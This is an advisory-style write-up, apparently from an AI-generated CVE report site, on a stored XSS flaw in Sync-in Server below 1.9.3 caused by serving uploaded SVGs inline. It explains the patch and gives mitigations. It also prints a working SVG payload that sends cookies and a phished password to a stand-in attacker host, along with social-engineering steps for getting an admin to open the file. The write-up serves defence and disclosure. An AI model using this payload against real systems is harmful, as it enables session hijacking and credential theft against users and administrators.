CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-67438
6.1

Sync-in, Sync-out: Weaponizing SVGs for Stored XSS in Sync-in Server

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 20, 2026·7 min read·19 visits

PoC Available

Executive Summary (TL;DR)

Sync-in Server < 1.9.3 serves user-uploaded SVG files inline instead of forcing a download. Attackers can upload an SVG containing malicious JavaScript (Stored XSS). When a victim views the file URL, the script executes, stealing session cookies.

A classic Stored Cross-Site Scripting (XSS) vulnerability was discovered in Sync-in Server versions prior to 1.9.3, specifically targeting the way user-uploaded files are served. By failing to enforce a 'Content-Disposition: attachment' header, the application allowed malicious Scalable Vector Graphics (SVG) files to be rendered inline by the victim's browser. This oversight turns a simple profile avatar or shared document into a execution context for arbitrary JavaScript, enabling attackers to hijack sessions, steal cookies, and perform actions on behalf of authenticated users.

The Hook: It's Just a Picture, Right?

We often tell users, "Don't download strange binaries," or "Don't enable macros in Word documents." But we rarely tell them, "Don't look at that profile picture." In the context of modern web applications, the line between 'data' and 'code' is terrifyingly thin, and CVE-2025-67438 walks right over it.

Sync-in Server is designed to handle user collaboration, which inevitably involves file uploads—documents, images, and avatars. The functionality seems mundane: a user uploads a file, and the server spits it back out when requested. However, the browser's interpretation of that file depends entirely on the headers the server sends along with it. If the server is too permissive, it hands the browser a loaded gun.

This vulnerability exploits the unique nature of Scalable Vector Graphics (SVG). Unlike a JPEG or PNG, which are binary blobs of pixel data, an SVG is an XML document. It describes shapes, paths, and colors using text. But because it is XML, it adheres to the W3C standards which include support for... you guessed it, ECMAScript. To a browser, an SVG isn't just an image; it's a document capable of traversing the DOM and executing code. When Sync-in Server decided to serve these files without forcing them to be downloaded, it essentially allowed users to upload miniature, self-contained webpages hosted on the trusted application domain.

The Flaw: The Inline Trap

The root cause of this vulnerability lies in the Content-Disposition HTTP header. This header tells the browser what to do with the payload it just received. A value of attachment forces a download dialog, saving the file to disk where it is (mostly) harmless. A value of inline (or the absence of the header) tells the browser to try and render it right there in the window.

In Sync-in Server < 1.9.3, the file serving logic was agnostic to the danger of the file type. When a user requested an avatar or a file, the server would return it with the Content-Type set to image/svg+xml (correct) but without forcing attachment (incorrect).

Here is the logic flow that led to the vulnerability:

  1. Browser Request: GET /files/avatar/malicious.svg
  2. Server Response: 200 OK, Content-Type: image/svg+xml.
  3. Browser Action: The browser sees an XML document with a valid MIME type. It parses the XML tree. It encounters a <script> tag. It executes the script in the context of https://sync-in-server.com.

Because the script runs in the application's origin, the Same-Origin Policy (SOP) works against the victim. The script has full access to localStorage, document.cookie (unless HttpOnly is set, though often session tokens are accessible or requests can be forged regardless), and the ability to issue fetch() requests to the API as the victim.

The Code: Anatomy of a Patch

Let's look at the smoking gun. The vulnerability lived in the UsersController.ts and the SendFile utility. The developers likely assumed that since they were validating the file extension or MIME type during upload, serving it back was safe. They forgot that valid does not mean safe.

The fix, applied in commit a6276d067725637310e4e83a3eee337aae81f439, was blunt but effective. They modified the file sending logic to force the attachment disposition for user content.

The Vulnerable Pattern (Conceptual):

// Before: flexible, but dangerous
public async getAvatar(req, res) {
  const file = await this.userService.getAvatar(req.params.id);
  // Implicitly sets disposition to inline or leaves it empty
  return res.sendFile(file.path, { headers: { 'Content-Type': file.mime } });
}

The Fix (Actual Implementation):

The patch introduced a utility specifically to enforce the disposition. This is the 'nuke it from orbit' approach to XSS mitigation on file uploads.

// After: enforcing attachment
// users.controller.ts
 
@Get(':id/avatar')
async getAvatar(@Param('id') id: string, @Res() res: Response) {
    const avatar = await this.usersService.getAvatar(id);
    // The critical change: helper function forces Content-Disposition: attachment
    ServerUtils.serveFile(res, avatar, true); // true = force download
}

By forcing the browser to treat the content as a download, the browser never renders the XML, and thus never executes the embedded JavaScript. The attack surface is effectively neutralized because the code never reaches the JavaScript engine.

The Exploit: Crafting the Payload

Exploiting this is trivially easy for anyone who knows basic HTML. We don't need buffer overflows or heap spraying; we just need a text editor. The goal is to create a valid SVG file that contains a payload.

Step 1: The Payload

Create a file named pwn.svg. We'll draw a small red circle so it looks like a legitimate image if previewed in a dumb viewer, but hide a nasty script inside.

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <!-- The bait: A harmless red circle -->
  <circle cx="50" cy="50" r="40" fill="red" />
  
  <!-- The hook: Malicious JS -->
  <script>
    // Exfiltrate cookies to attacker's server
    fetch('https://evil-listener.com/steal?c=' + btoa(document.cookie));
    
    // Create a fake login prompt to steal credentials
    var p = document.createElement('div');
    p.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);color:white;display:flex;justify-content:center;align-items:center;z-index:9999">Session timed out. Please login again:<input type="password" onchange="fetch(\'https://evil-listener.com/creds?p=\'+this.value)"></div>';
    document.body.appendChild(p);
  </script>
</svg>

Step 2: Delivery

  1. Log into Sync-in Server.
  2. Navigate to your profile settings.
  3. Upload pwn.svg as your avatar.
  4. Right-click your new avatar and choose "Copy Image Link".
  5. Send that link to the admin: "Hey, check out my new logo, it's not rendering right for me?"

Step 3: Execution

When the admin clicks the link, the browser navigates to https://target.com/api/users/123/avatar. The server returns the SVG. The browser renders the red circle and immediately executes the <script>. The admin's session ID is sent to evil-listener.com.

The Impact: From Avatar to Admin

The impact of Stored XSS in a collaboration tool cannot be overstated. It is persistent and wormable. If the application is a social platform or a team server, an attacker doesn't even need to send a link. They just need to post a comment or appear in a user list where the avatar is rendered.

However, in this specific case, if the image is rendered via an <img> tag in the main application UI, the script won't execute. Browsers disable scripting for SVGs loaded inside <img> tags for security reasons.

The Catch: The vulnerability requires direct access to the file URL (navigating to the image itself). This lowers the severity slightly from "automatic infection on page load" to "requires a click." However, in many workflow tools, users frequently click "View Original" or "Open in New Tab" to see details.

Once executed, the consequences are:

  1. Session Hijacking: Accessing document.cookie allows the attacker to impersonate the victim.
  2. CSRF on Steroids: The script can read anti-CSRF tokens from the DOM and perform state-changing actions (changing passwords, deleting projects, creating admin users).
  3. Phishing: Modifying the DOM to present fake login screens (as shown in the exploit section) is highly effective when the URL bar still shows the legitimate domain.

Mitigation: Shutting the Door

If you are running Sync-in Server, you have one immediate task: Update to version 1.9.3.

If you are a developer building a similar system, take note. Validating file extensions is not enough. Validating magic bytes is not enough. You must control how the data is consumed.

Defense in Depth Strategy:

  1. Force Disposition: Always serve user-uploaded content with Content-Disposition: attachment. This forces a download and prevents inline rendering.
  2. Content Security Policy (CSP): Implement a strict CSP. A header like Content-Security-Policy: default-src 'self'; script-src 'self' would prevent the inline script in the SVG from executing even if it was rendered.
  3. Sanitization: If you MUST serve SVGs inline (e.g., for icons), use a server-side sanitizer like DOMPurify to strip out <script> tags and event handlers (onclick, onload) before storing the file.
  4. Sandboxed Domains: Serve user content from a completely different domain (e.g., usercontent-sync-in.com). Even if XSS executes there, it has no access to the cookies or local storage of the main application domain.

Official Patches

Sync-inCommit fixing the vulnerability
Sync-inRelease v1.9.3 containing the fix

Fix Analysis (1)

Technical Appendix

CVSS Score
6.1/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Affected Systems

Sync-in Server

Affected Versions Detail

Product
Affected Versions
Fixed Version
Sync-in Server
Sync-in
< 1.9.31.9.3
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS (Est.)6.1 (Medium)
Privileges RequiredLow (Authenticated User)
User InteractionRequired (Click Link)
ImpactConfidentiality & Integrity

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1539Steal Web Session Cookie
Credential Access
CWE-79
Stored Cross-Site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

GitHub GistProof of Concept SVG payload for CVE-2025-67438

Vulnerability Timeline

Vulnerability reported by x0root
2025-12-06
Patch committed (a6276d0)
2025-12-06
Sync-in Server v1.9.3 released
2025-12-06
CVE-2025-67438 published
2026-02-20

References & Sources

  • [1]Release Notes
  • [2]Researcher Advisory

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.